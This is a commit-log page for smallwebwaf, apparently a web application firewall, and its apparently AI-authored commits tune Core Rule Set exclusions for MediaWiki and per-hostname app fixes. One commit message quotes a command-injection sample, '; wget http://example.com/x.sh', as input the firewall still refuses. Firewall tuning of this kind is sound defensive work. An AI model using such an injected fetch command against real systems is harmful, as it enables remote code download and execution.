smallwebwaf

116 Commits 9 Branches 2 Tags

3 Commits

Include renames

Author	SHA1	Message	Date
sneak	755eac744b	SWW_APPS: an app's Core Rule Set fixes apply only to the hostnames that serve it (closes #220 ) check / check (push) Failing after 17m3s Details Each app's fixes are one .conf file, whose first rule skips the rest unless Inspect sets tx.app_<name>, and one entry in apps. SWW_APPS names each hostname's apps. A hostname gets only its apps' fixes; while SWW_APPS is unset, every hostname gets every app's fixes. A hostname in SWW_APPS that is not a DNS name, such as *.example.com, stops the start. Unset, SWW_APPS is logged at start as null; set empty, as "". Model: opus-5-5	2026-11-10 02:22:37 +00:00
clawbot	922fe0cf71	Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258 ) check / check (push) Failing after 16m32s Details On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom, gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the fields they stand in for do. On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title per line, always skips 930120, 932120 and 932250. It skips 932125, 932230, 932235, 932260 and 932380 only when the body sends it once and it holds no ";", "\|", "&", backtick or "{", checked by a phase 2 rule. So "; wget http://example.com/x.sh" is still refused. Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change used. Model: opus-5-5	2026-11-10 03:09:24 +01:00
clawbot	9aa5b303cf	Core Rule Set: MediaWiki's ordinary requests pass by default (closes #237 ) check / check (push) Failing after 1m48s Details Adds mediawiki.conf, the eleventh change: on MediaWiki's paths, the fields that carry a search, a title, a name, a file name or an address skip the four rules that read them as commands or system files, and the wikitext fields skip the rules that refused saving a page. The reasons on the admin pages skip only 930120 and 932120. /index.php counts as MediaWiki's only with a page title in its query or after its path, since WordPress serves it too. The requests recorded from MediaWiki 1.46.2, with and without short URLs and on the admin pages, pass at the defaults and while bodies are read. The app tests share the check of recorded requests and the list of hard values. Model: opus-5-5	2026-11-10 00:58:15 +01:00

Author

SHA1

Message

Date

sneak

755eac744b

SWW_APPS: an app's Core Rule Set fixes apply only to the hostnames that serve it (closes #220 )

check / check (push) Failing after 17m3s

Details

Each app's fixes are one .conf file, whose first rule skips the rest
unless Inspect sets tx.app_<name>, and one entry in apps. SWW_APPS names
each hostname's apps. A hostname gets only its apps' fixes; while
SWW_APPS is unset, every hostname gets every app's fixes.

A hostname in SWW_APPS that is not a DNS name, such as *.example.com,
stops the start. Unset, SWW_APPS is logged at start as null; set
empty, as "".

Model: opus-5-5

2026-11-10 02:22:37 +00:00

clawbot

922fe0cf71

Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258 )

check / check (push) Failing after 16m32s

Details

On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.

On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, always skips 930120, 932120 and 932250. It skips 932125,
932230, 932235, 932260 and 932380 only when the body sends it once and it
holds no ";", "|", "&", backtick or "{", checked by a phase 2 rule. So
"; wget http://example.com/x.sh" is still refused.

Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.

Model: opus-5-5

2026-11-10 03:09:24 +01:00

clawbot

9aa5b303cf

Core Rule Set: MediaWiki's ordinary requests pass by default (closes #237 )

check / check (push) Failing after 1m48s

Details

Adds mediawiki.conf, the eleventh change: on MediaWiki's paths, the fields
that carry a search, a title, a name, a file name or an address skip the
four rules that read them as commands or system files, and the wikitext
fields skip the rules that refused saving a page. The reasons on the admin
pages skip only 930120 and 932120. /index.php counts as MediaWiki's only
with a page title in its query or after its path, since WordPress serves it
too. The requests recorded from MediaWiki 1.46.2, with and without short
URLs and on the admin pages, pass at the defaults and while bodies are
read. The app tests share the check of recorded requests and the list of
hard values.

Model: opus-5-5

2026-11-10 00:58:15 +01:00